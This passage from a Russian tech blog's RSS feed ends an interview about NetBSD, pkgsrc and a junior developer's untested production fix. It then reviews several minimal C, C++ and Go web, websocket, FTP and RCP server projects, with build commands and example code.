  <p id="eMnj">Сейчас это работает. То есть как бы цель достигнута и всё работает. </p>
  <p id="IjVE"><em>alex0x08</em></p>
  <p id="uvGn">Ну а представь какой-нибудь QT так поддерживать? </p>
  <p id="HCJ3">Или Chromium тот же самый, там же чудовищная кодовая база! </p>
  <figure id="q1cF" class="m_column">
    <img src="https://img2.teletype.in/files/d3/39/d3398cc0-528a-40a1-8330-94c6a216f663.png" width="1920" />
  </figure>
  <h2 id="COsS">Поддержка разных версий в pkgsrc</h2>
  <p id="RIg3"><em>laizoaarz</em></p>
  <p id="XlWP">Ну в <code>pkgsrc</code> уже есть много разных пакетов QT, и четвёртый и пятый и шестой. Приходится жить. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="64Hc">Та же самая колбасня с питоном — их поддерживается несколько разных в <code>pkgsrc</code>, одновременно.</p>
  </section>
  <p id="6dll">Версии 3.9.1, 3.9.2 и так далее. </p>
  <p id="s1xT"><em>alex0x08</em></p>
  <p id="YDj8">Ну хоть не 2.7, уже хорошо. </p>
  <p id="nLgj"><em>laizoaarz</em></p>
  <p id="88xZ">2.7 вроде уже выпилили. </p>
  <p id="flro">И Ruby тоже поддерживается несколько разных версий. </p>
  <p id="Jd1J">Модули для Python собираются в <code>pkgsrc</code> для различных версий питона. </p>
  <p id="Jwal">Ну, если кто pip не пользуется или если нужен петон специфичной версии, там 3.1, 3.9, 3.8.  </p>
  <p id="e9jV">Все это в пакетах, они множатся таким образом. </p>
  <p id="LEg6"></p>
  <figure id="B3tM" class="m_column">
    <img src="https://img3.teletype.in/files/a2/bb/a2bb6018-7ae4-472a-8150-209cda3ea859.jpeg" width="2048" />
  </figure>
  <h2 id="3ZkJ">NetBSD и AI/ML</h2>
  <p id="c67g"><em>alex0x08</em></p>
  <p id="Y8tn">А кто-то работает с нейросетями, с ML из такого окружения? Из NetBSD? </p>
  <p id="Nec9"><em>laizoaarz</em></p>
  <p id="lnol">Насколько Numpy работает под NetBSD не проверял, потому что не пользуюсь.</p>
  <p id="5xQK"><em>alex0x08</em></p>
  <p id="RktU">А почему Numpy? У Pandas же тоже много чего. </p>
  <p id="MdxA"><em>laizoaarz</em></p>
  <p id="91Gl">В Pandas ничего зависимого от операционной системы нет. А вот работает ли Numpy, где есть такие зависимости — вопрос. </p>
  <p id="BbIC">Тут есть некоторые вопросы с переносимостью, больное место. </p>
  <h2 id="7grn">История про джуна и прод</h2>
  <p id="g1o9"><em>alex0x08</em></p>
  <p id="ZC9x">Расскажи эту шутку про джуна, который тебя оторвал от свидания с девушкой. </p>
  <p id="IIcr"><em>laizoaarz</em></p>
  <p id="ATYG">Работаю давно, историй у меня забавных много. </p>
  <p id="2z0e">Сижу с барышней в пятницу вечером. Ужинаем, с вином. Часов 10 вечера. </p>
  <p id="p3JV">Звонит коллега:</p>
  <blockquote id="mEuo"> Лёша, Лёша, я у тебя баг нашёл!</blockquote>
  <p id="qa8y">Спрашиваю:</p>
  <blockquote id="xCvR">Какую багу?</blockquote>
  <p id="lhLo">Вот там-то и то-то. </p>
  <p id="WmAL">Говорит:</p>
  <blockquote id="qQeY">я уже починил и выставил в прод.. </blockquote>
  <p id="ZEo1">Честно говоря начинаю охреневать. Какой прод? Какой баг?</p>
  <p id="6B3e">Пятница, 10 вечера, я сижу с вином и женщиной.</p>
  <p id="z1hl">Начинаю задавать наводящие вопросы. </p>
  <p id="QLyx">Кастомер жаловался? </p>
  <blockquote id="5J1y">Нет. </blockquote>
  <p id="qYfT">Ты знаешь, что у меня тесты написаны? </p>
  <blockquote id="IYtM">Нет. </blockquote>
  <p id="IS6V">То есть ты не протестировал свой фикс? </p>
  <blockquote id="VyTz">Нет. </blockquote>
  <p id="PmU3">А ты знаешь, что у нас есть staging-сервера, на которых тестирование проходит  перед выкатыванием в прод? </p>
  <blockquote id="NQcR">Нет, не не знаю. </blockquote>
  <p id="PR9y">А ты помнишь, что сегодня пятница, вечер? </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="SjYv">Руки убери от системы. </p>
  </section>
  <p id="gW0v">В понедельник вернёмся на работу, починим. </p>
  <p id="VoY4">Ну и в общем, такая вот весёлая история. </p>
  <p id="heQC"><em>alex0x08</em></p>
  <p id="lYGX">Короче, ты его не убил?</p>
  <p id="bbeL"><em>laizoaarz</em></p>
  <p id="GWck">Нет, я его не убил. Но свои патчи он откатил. </p>
  <p id="L2Mu">Ну и прод восстановил. </p>
  <p id="Rcdy">Я вернулся в понедельник и спокойно разобрался, что он там нашёл. </p>
  <p id="5yX8">В результате ошибка была у него и его решение ломало мои тесты. Он принял за баг то, что так и должно быть. </p>
  <blockquote id="LyRP">Никакой ошибки не было. </blockquote>
  <p id="0kjU">У меня всё было изначально верно, что и отражали тесты, написанные не «на отвали», а по-взрослому. </p>
  <p id="OGFD">На большом объёме все было не раз протестировано. </p>
  <p id="cak3">Так что бывает всякое, да, </p>
  <figure id="USiI" class="m_column">
    <img src="https://img2.teletype.in/files/56/2a/562a3295-14e1-4247-9424-3a7c14b04bfb.png" width="1920" />
  </figure>
  <h2 id="3JUa">Эпилог</h2>
  <p id="OpSp"><em>alex0x08</em></p>
  <p id="UKBA">Эм.. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="jiWz">товарищ сержант не может быть не прав во всём. </p>
  </section>
  <p id="S3zf">Это было в сериале «Доктор Хаус», когда этот самый доктор Хаус выдал реплику про назначенного им сотрудника, что «он может облажаться в деталях, но я не может облажаться во всём». </p>
  <p id="TwKY">Тут тоже самое.  </p>
  <p id="lB8G">Ладно. </p>
  <p id="benc">С вами был Алексей Чусов, всем привет. Всей BSD-тусовке. </p>
  <p id="GUz4">Следующий ролик будет обязательно про FreeBSD, наконец-то я это добью. </p>
  <p id="e71v">Всё господа, всем спасибо, всем пока и до новых встреч!</p>
  <p id="BNr5"></p>
  <p id="LFop">Выражаем благодарность за помощь с созданием ролика:</p>
  <h3 id="yDTi">Alexey Proschenko</h3>
  <p id="c7Kd">alexey@proschenko.ru</p>
  <h3 id="CB9o">Евгений Симоненко</h3>
  <p id="1g8Y">@easimonenko</p>
  <h3 id="DzaW">Valery Ushakov</h3>
  <p id="5A2c">@nbuwe</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/tiny-web-projects-2026</guid><link>https://blog.0x08.ru/tiny-web-projects-2026?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/tiny-web-projects-2026?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Маленький веб</title><pubDate>Thu, 05 Feb 2026 09:02:29 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/89/89/89898e36-4453-4ded-9008-f46d965ac841.png"></media:content><category>software-development</category><description><![CDATA[<img src="https://img1.teletype.in/files/c5/64/c564a758-02cc-45e0-911a-e19b4d609a3c.jpeg"></img>Компактная и портабельная программа, четко выполняющая свое предназначение — редкая для современного мира красота и услада для глаз опытного разработчика.]]></description><content:encoded><![CDATA[
  <p id="qJW6">Компактная и портабельная программа, четко выполняющая свое предназначение — редкая для современного мира красота и услада для глаз опытного разработчика.</p>
  <p id="fIon">Именно такие проекты, реализующие различные серверы и клиенты для веба вы найдете в этой статье.</p>
  <figure id="54Cg" class="m_original">
    <img src="https://img1.teletype.in/files/c5/64/c564a758-02cc-45e0-911a-e19b4d609a3c.jpeg" width="1366" />
    <figcaption>Проект &quot;Sandbird&#x27; в действии</figcaption>
  </figure>
  <h2 id="Rqzc">Ода миниатюризации</h2>
  <p id="7XMu">Есть много причин, по которым миниатюрные девушк.. ээ реализации программ заслуживают внимания:</p>
  <ul id="wszZ">
    <li id="0Esv">обучение — врядли получится разобраться как устроен вебсервер, перелопачивая исходники монстров вроде Apache или Nginx, спасет только миниатюрная реализация;</li>
    <li id="OlyX">основа для собственных проектов — большой объем чужого исходного кода под капотом вашего проекта будет висеть гирей и отвлекать ресурсы на поддержку, в отличие от чего-то маленького и простого;</li>
    <li id="xrrD">борьба с энтропией — популярные библиотеки постоянно растут и раздуваются, при этом объем используемого функционала не особо меняется. Таким образом, большая часть кода в современном проекте с кучей внешних библиотек <strong>не используется никогда</strong>.</li>
  </ul>
  <p id="3NLB">Разумеется есть определенные риски использования таких «наколенных» библиотек, связанные с неполной реализацией, безопасностью, работой под нагрузкой и так далее. </p>
  <blockquote id="fEcQ">Но говоря откровенно, всего этого ныне хватает с головой и в больших популярных реализациях.</blockquote>
  <p id="WZIE">Еще с опытом приходит понимание, что любая программа — не более чем <strong>инструмент</strong> а реальную опасность, как и сто лет назад, представляют живые люди, не машины.</p>
  <h2 id="6m7G">Тестовое окружение</h2>
  <p id="ReB1">Не стал опять заморачиваться с BSD, чтобы в третий раз не описывать <a href="https://www.freshports.org/devel/libepoll-shim/" target="_blank">специальную прослойку epoll-shim</a>, позволяющую быстро и более-менее безболезненно портировать серверный софт с линукса.</p>
  <p id="W4Fg">На этот раз в качестве тестового окружения выступает обычная Ubuntu 25.10, хотя и с немного нестандартным ядром.</p>
  <p id="LzAl">Компилятором выступит штатный GCC:</p>
  <blockquote id="8XPD">gcc version 15.2.0 (Ubuntu 15.2.0-4ubuntu4)</blockquote>
  <p id="jN0V">Поехали смотреть интересное!</p>
  <p id="dyhS"></p>
  <h2 id="Xosw">Sandbird</h2>
  <p id="5gOQ"><a href="https://github.com/rxi/sandbird/tree/master" target="_blank">https://github.com/rxi/sandbird/tree/master</a></p>
  <p id="IuRs">Начнем погружение с весьма практичного проекта:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kx6x">A tiny (~800sloc) embeddable HTTP server written in C89, compatible with Linux, OSX and Windows.</p>
  </section>
  <p id="PAIP"><strong>800</strong> строк на чистом С, причем наиболее портабельного стандарта <a href="https://en.wikipedia.org/wiki/ANSI_C" target="_blank">С89</a>, c поддержкой Windows, Linux и MacOS — отличный набор для реального применения, например в качестве встроенного вебсервера.</p>
  <p id="0v0S">Например в каком-нибудь устройстве.</p>
  <blockquote id="XBYG">Один из примеров, демонстрирующих работу этой библиотеки — на заглавном скриншоте к статье, причем показана обработка формы.</blockquote>
  <p id="odhb">Вот так выглядит сборка примера:</p>
  <pre id="J0tI" data-lang="bash">cd example
gcc hello.c ../src/*.c -I../src -std=c89 -pedantic -Wall -Wextra -o hello</pre>
  <p id="500P">Так выглядит код тестового приложения с использованием этой библиотеки:</p>
  <pre id="Akrv" data-lang="c">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &quot;sandbird.h&quot;

static int event_handler(sb_Event *e) {
  if (e-&gt;type == SB_EV_REQUEST) {
    printf(&quot;%s - %s %s\n&quot;, e-&gt;address, e-&gt;method, e-&gt;path);
    sb_send_status(e-&gt;stream, 200, &quot;OK&quot;);
    sb_send_header(e-&gt;stream, &quot;Content-Type&quot;, &quot;text/plain&quot;);
    sb_writef(e-&gt;stream, &quot;Hello world&quot;);
  }
  return SB_RES_OK;
}

int main(void) {
  sb_Options opt;
  sb_Server *server;

  memset(&amp;opt, 0, sizeof(opt));
  opt.port = &quot;8000&quot;;
  opt.handler = event_handler;
  server = sb_new_server(&amp;opt);

  if (!server) {
    fprintf(stderr, &quot;failed to initialize server\n&quot;);
    exit(EXIT_FAILURE);
  }
  printf(&quot;Server running at http://localhost:%s\n&quot;, opt.port);

  for (;;) {
    sb_poll_server(server, 1000);
  }
  sb_close_server(server);
  return EXIT_SUCCESS;
}</pre>
  <p id="r8Dh">Важный нюанс: </p>
  <blockquote id="hV9S">сервер <strong>не использует</strong> многопоточность, все клиентские обработчики работают в одном потоке.</blockquote>
  <p id="sebV">но с неблокирующими сокетами:</p>
  <pre id="Ioil" data-lang="c">..
static void set_socket_non_blocking(sb_Socket sockfd) {
#ifdef _WIN32
  u_long mode = 1;
  ioctlsocket(sockfd, FIONBIO, &amp;mode);
#else
  int flags = fcntl(sockfd, F_GETFL);
  fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
#endif
}
..</pre>
  <p id="WZDd"></p>
  <h1 id="ByZb">webs</h1>
  <p id="qNj8"><a href="https://github.com/nicholascok/webs" target="_blank">https://github.com/nicholascok/webs</a></p>
  <p id="fqbe">Следующий интересный и даже в чем-то уникальный проект, с лаконичным описанием:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Eybw">a simple websocket server library.</p>
  </section>
  <p id="QQXH">реализует с помощью ~<strong>700</strong> строк на С89.. серверные вебсокеты!</p>
  <p id="nuan">Вебсокеты это чаты, это «live-streaming», например отображение логов в реальном времени и тому подобные динамические штуки.</p>
  <p id="ERSP">Так это выглядит в работе:</p>
  <figure id="Ujbz" class="m_original">
    <img src="https://img4.teletype.in/files/b5/11/b511796a-a491-41d8-8aaf-6421f921795f.png" width="1366" />
    <figcaption>Статику отдает пример из предыдущего проекта.</figcaption>
  </figure>
  <p id="SS5f">Так выглядит сборка тестового приложения:</p>
  <pre id="otaI" data-lang="bash">gcc -c *.c examples/test.c -Wall -Wextra -Wpedantic -Wno-overlength-strings -std=c89
gcc -o webs *.o -lpthread</pre>
  <p id="FwWh">Как нетрудно догадаться по <code>-lpthread</code>, тут уже используется многопоточность на базе POSIX threads:</p>
  <pre id="eYh1" data-lang="c">..
static void* __webs_main(void* _srv) {
	webs_server* srv = (webs_server*) _srv;
	webs_client* user_ptr;
	webs_client user;
	
	for (;;) {
		user.fd = __webs_accept_connection(srv-&gt;soc, &amp;user);
		user.srv = srv;		
		if (user.fd &gt;= 0) {
			user_ptr = __webs_add_client(srv, user);
			pthread_create(&amp;user_ptr-&gt;thread, 0, __webs_client_main,
			 user_ptr);
		}
	}	
	return NULL;
}
..</pre>
  <p id="cAZI">К сожалению этот интересный проект по большей части <strong>прототип</strong>, иллюстрирующий как можно <s>на коленке</s> без внешних библиотек реализовать серверную сторону вебсокетов на чистом С. </p>
  <p id="Uxd0">В случае реального использования, столь вольное использование <code>malloc</code> для обработки входящих пакетов быстро превратится в проблему:</p>
  <pre id="EKRX" data-lang="c">..
/* deal with normal frames (non-fragmented) */
		if (WEBSFR_GET_OPCODE(frm.info) != 0x0) {
			/* read data */
			if (data) free(data);
			data = malloc(frm.length + 1);
..		</pre>
  <p id="kupm">А вот так выглядит сокращенная версия тестового сервера для вебсокетов, c минимумом обработчиков:</p>
  <pre id="9ZwA" data-lang="c">#include &quot;../webs.h&quot;

int myFuncZ(webs_client* self) {
	printf(&quot;server %ld: (id %ld) connected!\n&quot;, 
	       self-&gt;srv-&gt;id, self-&gt;id);
	webs_send(self, &quot;greetings, salutations!&quot;);
	return 0;
}
int myFunc2(webs_client* self) {
	printf(&quot;server %ld: (id %ld) disconnected!\n&quot;, 
	         self-&gt;srv-&gt;id, self-&gt;id);
	return 0;
}
int main(void) {
	webs_server* server1 = webs_start(7754);	
	if (!server1) {
		printf(&quot;failed to initialise a server.\n&quot;);
		return 1;
	}
	server1-&gt;events.on_open = myFuncZ;
	server1-&gt;events.on_close = myFunc2;
	
	webs_hold(server1);	
	webs_close(server1);	
	return 0;
}</pre>
  <p id="BAn9">Как видно из кода выше, все интересное происходит именно в обработчиках, где собственно и будет находиться ваша собственная логика, если вдруг решитесь использовать эту библиотеку.</p>
  <p id="cn5k">Повторюсь, что весь этот проект, несмотря на всю свою интересность — <strong>сырой прототип</strong> и тащить в прод подобный код &quot;as-is&quot; точно не стоит.</p>
  <blockquote id="Miy5">Собирается только для Linux и только с помощью gcc.</blockquote>
  <p id="Rp3n">Прототип как он есть.</p>
  <h2 id="WFfv">cpp-httplib</h2>
  <p id="uEk3"><a href="https://github.com/yhirose/cpp-httplib" target="_blank">https://github.com/yhirose/cpp-httplib</a></p>
  <p id="BI8o">Это уже более зрелая библиотека:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="q9nl">A C++ header-only HTTP/HTTPS server and client library</p>
  </section>
  <p id="Nd3m"><strong>11к</strong> строк кода на C++11 и несколько зависимостей от внешних библиотек: </p>
  <blockquote id="n5F6">pthreads, <a href="https://github.com/google/brotli" target="_blank">brotli</a>, OpenSSL, zlib</blockquote>
  <p id="uBlJ">реализуют весьма продвинутый HTTP/HTTPS сервер и клиент, причем фактически в одном файле. </p>
  <p id="kdXi">Есть поддержка сборки как на Linux так и Windows, причем для второй есть готовый проект для Visual Studio. </p>
  <p id="RBOn">Разумеется это не мейнстрим и к качеству есть вопросы, зато все уместилось в очень небольшом коде, без особых ухищрений по миниатюризации и потому вполне читаемому.</p>
  <p id="xmni">Так выглядит сборка тестового сервера, использующего эту библиотеку:</p>
  <pre id="VXqv" data-lang="bash">g++ -o server -O2 -std=c++11 -I.. -Wall -Wextra -pthread \
  server.cc -DCPPHTTPLIB_OPENSSL_SUPPORT -lssl -lcrypto \
  -DCPPHTTPLIB_ZLIB_SUPPORT -lz -DCPPHTTPLIB_BROTLI_SUPPORT \
  -lbrotlicommon -lbrotlienc -lbrotlidec</pre>
  <p id="dOET">Несложно догадаться по флагам вроде <code>CPPHTTPLIB_ZLIB_SUPPORT</code>, что большая часть зависимостей отключаема.</p>
  <blockquote id="bLyM">Еще думаю, заблудиться в 11к строчках кода и одном единственном файле будет проблематично даже у <s>нейросети</s> не самых опытных «плюсолюбов».</blockquote>
  <p id="bQTu">Так выглядит серверный «Hello, world!»:</p>
  <pre id="Vheh" data-lang="cpp">#include &lt;httplib.h&gt;
using namespace httplib;

int main(void) {
  Server svr;

  svr.Get(&quot;/hi&quot;, [](const Request &amp; /*req*/, Response &amp;res) {
    res.set_content(&quot;Hello World!&quot;, &quot;text/plain&quot;);
  });

  svr.listen(&quot;0.0.0.0&quot;, 8080);
}</pre>
  <p id="Oykm">В лучших традициях Django или Rails, тут есть маршрутизация запросов и привязка к URL — в данном случае обработчик связывается с урлом <code>/hi</code>.</p>
  <p id="LMMI">Вот так выглядит обработка загрузки файлов с помощью формы и POST-запроса:</p>
  <pre id="aNK1" data-lang="cpp">#include &lt;fstream&gt;
#include &lt;httplib.h&gt;
#include &lt;iostream&gt;
using namespace httplib;
using namespace std;

const char *html = R&quot;(
&lt;form id=&quot;formElem&quot;&gt;
  &lt;input type=&quot;file&quot; name=&quot;image_file&quot; accept=&quot;image/*&quot;&gt;
  &lt;input type=&quot;file&quot; name=&quot;text_file&quot; accept=&quot;text/*&quot;&gt;
  &lt;input type=&quot;submit&quot;&gt;
&lt;/form&gt;
&lt;script&gt;
  formElem.onsubmit = async (e) =&gt; {
    e.preventDefault();
    let res = await fetch(&#x27;/post&#x27;, {
      method: &#x27;POST&#x27;,
      body: new FormData(formElem)
    });
    console.log(await res.text());
  };
&lt;/script&gt;
)&quot;;

int main(void) {
  Server svr;

  svr.Get(&quot;/&quot;, [](const Request &amp; /*req*/, Response &amp;res) {
    res.set_content(html, &quot;text/html&quot;);
  });

  svr.Post(&quot;/post&quot;, [](const Request &amp;req, Response &amp;res) {
    const auto &amp;image_file = req.form.get_file(&quot;image_file&quot;);
    const auto &amp;text_file = req.form.get_file(&quot;text_file&quot;);

    cout &lt;&lt; &quot;image file length: &quot; &lt;&lt; image_file.content.length() &lt;&lt; endl
         &lt;&lt; &quot;image file name: &quot; &lt;&lt; image_file.filename &lt;&lt; endl
         &lt;&lt; &quot;text file length: &quot; &lt;&lt; text_file.content.length() &lt;&lt; endl
         &lt;&lt; &quot;text file name: &quot; &lt;&lt; text_file.filename &lt;&lt; endl;
    {
      ofstream ofs(image_file.filename, ios::binary);
      ofs &lt;&lt; image_file.content;
    }
    {
      ofstream ofs(text_file.filename);
      ofs &lt;&lt; text_file.content;
    }

    res.set_content(&quot;done&quot;, &quot;text/plain&quot;);
  });

  svr.listen(&quot;localhost&quot;, 1234);
}</pre>
  <p id="jjS2">Так это выглядит в действии:</p>
  <figure id="Y8F7" class="m_original">
    <img src="https://img2.teletype.in/files/d3/2e/d32ed51e-0e82-4324-88e8-2982cd54e0e1.png" width="1366" />
  </figure>
  <p id="i4Pq">Разумеется подобный функционал — не откровение, особенно на 2026й год, но блин господа офицеры: </p>
  <blockquote id="FM6b">11к строк кода на все красоты!</blockquote>
  <p id="BE6I">Теперь переходим к миниатюрным реализациям протокола FTP — для передачи файлов, если кто вдруг забыл.</p>
  <p id="Ov9X"></p>
  <h2 id="5Eil">tiny_ftpserver</h2>
  <p id="EOH2"><a href="https://github.com/adamwym/tiny_ftpserver" target="_blank">https://github.com/adamwym/tiny_ftpserver</a></p>
  <p id="aJ0z">Вот такой «игрушечный» проект:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="E07y">a tiny FTP server written in C++</p>
  </section>
  <p id="ybzc">всего <strong>1.5к</strong> строк на С++11 от безвестного китайского автора реализуют  полнофункциональный FTP/FTPS-сервер: </p>
  <blockquote id="yTyG">с chroot, поддержкой локальных и анонимных юзеров и всем прочим.</blockquote>
  <p id="P1wy"><a href="https://en.wikipedia.org/wiki/FTPS" target="_blank">FTPS</a> это довольно редко встречающееся расширение протокола FTP, с поддержкой шифрования передачи данных. Не набравшее большой популярности ввиду появления <a href="https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol" target="_blank">SFTP</a> и органичений самого FTP.</p>
  <p id="vmDk">Так это выглядит в работе:</p>
  <figure id="7j7M" class="m_original">
    <img src="https://img4.teletype.in/files/36/90/3690a914-bf5d-4975-8987-26e9deeb9627.png" width="1366" />
  </figure>
  <p id="01xq">Проект использует известную библиотеку <code><a href="https://github.com/libnet/libnet" target="_blank">libnet</a></code>, о чем автор забыл сообщить:</p>
  <pre id="YH7Y" data-lang="bash">apt install libnet1-dev</pre>
  <p id="6BfL">Cборка происходит с помощью <code>cmake</code>:</p>
  <pre id="54Fo" data-lang="bash">mkdir build &amp;&amp; cd build
cmake ..</pre>
  <p id="gkWe">Реализация FTP-сервера тут максимально классическая — используется <code>chroot</code>, а использование 21 и 20 портов зашито в код:</p>
  <pre id="fstp" data-lang="cpp">..
int socketfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
struct sockaddr_in server_addr;
memset(&amp;server_addr, 0, sizeof(server_addr));
server_addr.sin_port = htons(21);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
..   </pre>
  <p id="1oJI">Все это означает, что запускать сервер придется от суперпользователя:</p>
  <pre id="mMFr" data-lang="bash">sudo ./tiny_ftpserver ../tiny_ftpserver.conf </pre>
  <p id="gDQe">У этого проекта есть один неожиданный нюанс:</p>
  <blockquote id="OGQ6">на самом деле это.. студенческая работа.</blockquote>
  <p id="5bCb">И <a href="https://github.com/CalciferZh/TinyFTP" target="_blank">подобных</a> <a href="https://github.com/wenchy/tinyFTP" target="_blank">проектов</a> на Github оказалось <a href="https://github.com/kramble/smallftpd" target="_blank">великое</a> <a href="https://github.com/osvimer/tiny-ftp" target="_blank">множество</a>.</p>
  <p id="nIGt">Так что далеко не везде в 2026м году забыли что такое высшее техническое образование, что не может не радовать.</p>
  <p id="M4pE"></p>
  <h1 id="IXp9">fineFTP Server</h1>
  <p id="Me9M"><a href="https://github.com/eclipse-ecal/fineftp-server" target="_blank">https://github.com/eclipse-ecal/fineftp-server</a></p>
  <p id="U4Bn">Следующий интересный и весьма редкий проект:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="bvzE">FineFTP is a minimal FTP server library for Windows and Unix flavors.</p>
  </section>
  <p id="o0FQ">~<strong>2k</strong> строк на С++14 реализуют FTP-сервер в виде.. библиотеки!</p>
  <blockquote id="J73z">В этом и есть основной прикол — возможность встроить FTP (причем сервер а не клиент) в ваш собственный проект.</blockquote>
  <p id="8ZIa">Так выглядит код примера, с внедрением FTP-сервера:</p>
  <pre id="sS6D" data-lang="cpp">#include &lt;fineftp/server.h&gt;
#include &lt;thread&gt;
 
int main() {
  // Create an FTP Server on port 2121. We use 2121 instead of the default port
  // 21, as your application would need root privileges to open port 21.
  fineftp::FtpServer ftp_server(2121);
 
  // Add the well known anonymous user. Clients can log in using username
  // &quot;anonymous&quot; or &quot;ftp&quot; with any password. The user will be able to access
  // your C:\ drive and upload, download, create or delete files. On Linux just
  // replace &quot;C:\\&quot; with any valid path. FineFTP is designed to be cross-platform.
  ftp_server.addUserAnonymous(&quot;C:\\&quot;, fineftp::Permission::All);
  
  // Start the FTP Server with a thread-pool size of 4.
  ftp_server.start(4);
 
  // Prevent the application from exiting immediately
  for (;;) std::this_thread::sleep_for(std::chrono::milliseconds(100));
  return 0;
}</pre>
  <p id="3H7W">Зачем и для чего такое может быть нужно — другой вопрос, все же обычно работу с файлами в конечном приложении (например обновление прошивки) стараются реализовать в виде клиента и через HTTP/HTTPS.</p>
  <p id="sfLX">Но с точки зрения использования все отлично работает:</p>
  <figure id="piYH" class="m_original">
    <img src="https://img4.teletype.in/files/b0/94/b094f520-5e9d-445c-9edb-bc4198abf78d.png" width="1366" />
  </figure>
  <p id="DNCJ">Это хорошая, взрослая библиотека, с несколькими коммитерами, с историей разработки, которая активно поддерживается и развивается.</p>
  <p id="7lPC">Старого цирка с <code>chroot</code> и 21м портом тут нет, поэтому все работает без привилегий суперпользователя — на скриншоте выше как раз видно использование нестандартного порта для работы.</p>
  <blockquote id="bvOT">Поддерживается сборка для Linux, MacOS и Windows c приоритетом для последней.</blockquote>
  <p id="aso2">Отличный проект, но далеко не последний в сегодняшней подборке.</p>
  <p id="vdij"></p>
  <h2 id="BriY">rcpd</h2>
  <p id="v4Vu"><a href="https://github.com/tenox7/rcpd" target="_blank">https://github.com/tenox7/rcpd</a></p>
  <p id="quZE">Этот проект — привет из далекого и славного прошлого:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="p0Cf">This is a modern re-implementation of <a href="https://linux.die.net/man/1/rcp" target="_blank">rcp</a> (remote copy protocol) daemon, originally part <a href="https://en.wikipedia.org/wiki/Berkeley_r-commands" target="_blank">berkeley r-commands</a>.</p>
  </section>
  <p id="EPPf">Да, это самый настоящий сервер <a href="https://www.ssh.com/academy/ssh/rcp" target="_blank">RCP</a>, всего <strong>300</strong> строк на Golang от знаменитого в узких кругах компьютерных реконструкторов автора <a href="https://github.com/tenox7" target="_blank">Tenox</a>.</p>
  <blockquote id="2pEt">RCP это такой устаревший протокол передачи файлов между компьютерами с UNIX, уже мало пригодный для использования в современных реалиях ввиду отсутствия какого-либо шифрования и авторизации.</blockquote>
  <p id="Ezpj">Крайне актуальный, если имеете дело с устаревшим оборудованием или встраиваемыми системами, которые до сих пор используют именно <code>rcp</code> для загрузки прошивок по сети.</p>
  <p id="XT45">Возвращаясь к проекту:</p>
  <blockquote id="dycC">rcpd от Tenox реализует серверную сторону — сервер RCP</blockquote>
  <p id="KeEj">К которому подключаются клиенты для загрузки или скачивания файлов.</p>
  <p id="eOD0">Так выглядит процесс копирования файла, в качестве клиента тут rcp из пакета GNU Inetutils:</p>
  <figure id="5j1j" class="m_original">
    <img src="https://img4.teletype.in/files/7e/85/7e8506a5-588c-4c99-b180-d9df83cc3659.png" width="1366" />
  </figure>
  <p id="NwLa">Как видите и клиент и сервер запускаются от суперпользователя — такие были времена, RCP использует 514 порт, который нельзя занять без привилегий.</p>
  <p id="c4F3">Сборка:</p>
  <pre id="izMj" data-lang="bash">go build -o rcpd .</pre>
  <p id="rg9h">Кстати в <code>Makefile</code> проекта есть поддержка кроссплатформенных сборок, с весьма богатым выбором:</p>
  <figure id="1fpA" class="m_column">
    <img src="https://img3.teletype.in/files/29/91/2991483b-1449-4e46-8004-7135a527772d.png" width="804" />
  </figure>
  <p id="9HWW">Стоит добавить, что протокол RCP сам по себе очень простой и не менялся весь период своего существования, что позволяет подключаться к этому RCP-серверу даже с помощью клиентских программ из 80х и 90х.</p>
  <p id="IIYM"></p>
  <h2 id="Q9zU">За кадром</h2>
  <p id="A65P">Детально разобрать удалось лишь малую часть интересных находок, поэтому ниже буквально одной строкой про интересные миниатюрные, точно заслуживающие внимания.</p>
  <h3 id="Yt1k">url.c</h3>
  <p id="PlfH"><a href="https://github.com/cozis/url.c/" target="_blank">https://github.com/cozis/url.c/</a></p>
  <p id="hMdu">Парсер строк URL на чистом С и без зависимостей:</p>
  <blockquote id="SEgg">This is a small library to parse and manipulate URLs in conformance to RFC 3986 and (most of) the WHATWG specification.</blockquote>
  <p id="NI6d">Что умеет:</p>
  <ul id="4xSS">
    <li id="OBHg">No allocations</li>
    <li id="uPU5">No dependencies</li>
    <li id="kSav">The ability to switch between RFC 3986 and WHATWG with a flag</li>
    <li id="G9FS">Relative reference parsing and resolution</li>
    <li id="Wx1k">URL normalization</li>
    <li id="VGuY">Doesn&#x27;t rely on null-terminated strings</li>
  </ul>
  <p id="Hmep"></p>
  <p id="Pj0E"></p>
  <h3 id="N1bU">LightFTP</h3>
  <p id="o9a2"><a href="https://github.com/hfiref0x/LightFTP" target="_blank">https://github.com/hfiref0x/LightFTP</a></p>
  <p id="Jih8">Еще один интересный проект миниатюрного FTP-сервера:</p>
  <blockquote id="SN2n">Small x86-32/x64 FTP Server</blockquote>
  <p id="GNaa">Поддерживается сборка под Linux/Windows/Mac, сам проект не мертвый и судя по коммитам - развивается.</p>
  <h3 id="aUV3">uftpserver</h3>
